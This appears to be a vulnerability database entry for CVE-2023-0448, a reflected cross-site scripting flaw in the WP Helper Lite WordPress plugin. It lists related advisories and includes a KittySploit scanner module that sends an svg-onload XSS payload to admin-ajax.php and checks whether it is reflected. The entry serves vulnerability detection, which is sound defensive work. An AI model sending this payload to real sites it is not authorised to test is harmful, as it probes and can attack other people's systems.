WP Helper Lite < 4.3 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| The vulnerability of the WP Helper Lite plugin of the WordPress content management system arises from the lack of measures taken to protect the website’s structure. This allows attackers to carry out XSS attacks. | 30 Oct 202300:00 | – | bdu_fstec | |
| CVE-2023-0448 | 24 Oct 202404:50 | – | circl | |
| WordPress plugin WP Helper Lite 跨站脚本漏洞 | 26 Jan 202300:00 | – | cnnvd | |
| CVE-2023-0448 | 24 Jan 202300:00 | – | cve | |
| CVE-2023-0448 | 24 Jan 202300:00 | – | cvelist | |
| CVE-2023-0448 | 24 Jan 202300:00 | – | mend | |
| WP Helper Lite < 4.3 - Cross-Site Scripting | 15 Oct 202602:05 | – | nuclei | |
| CVE-2023-0448 | 26 Jan 202321:18 | – | nvd | |
| WordPress WP Helper Lite Plugin < 4.3 XSS Vulnerability | 28 Aug 202300:00 | – | openvas | |
| CVE-2023-0448 | 26 Jan 202321:18 | – | osv |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The WP Helper Lite WordPress plugin, in versions < 4."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WP Helper Lite < 4.3 - Cross-Site Scripting Detection',
'description': 'The WP Helper Lite WordPress plugin, in versions < 4.3, returns all GET parameters unsanitized in the response, resulting in a reflected cross-site scripting vulnerability.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'wordpress', 'wp', 'wp-plugin', 'wpscan', 'xss', 'wp-helper-lite', 'matbao', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://wpscan.com/vulnerability/1f24db34-f608-4463-b4ee-9bc237774256',
'https://nvd.nist.gov/vuln/detail/CVE-2023-0448',
'https://github.com/ARPSyndicate/cvemon',
'https://github.com/JoshuaMart/JoshuaMart',
],
'cve': 'CVE-2023-0448',
}
def run(self):
path = '/wp-admin/admin-ajax.php?action=surveySubmit&a=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('><svg onload=alert(document.domain)>',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason='WP Helper Lite < 4.3 - Cross-Site Scripting detected',
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 3.16.1
EPSS0.42928
SSVC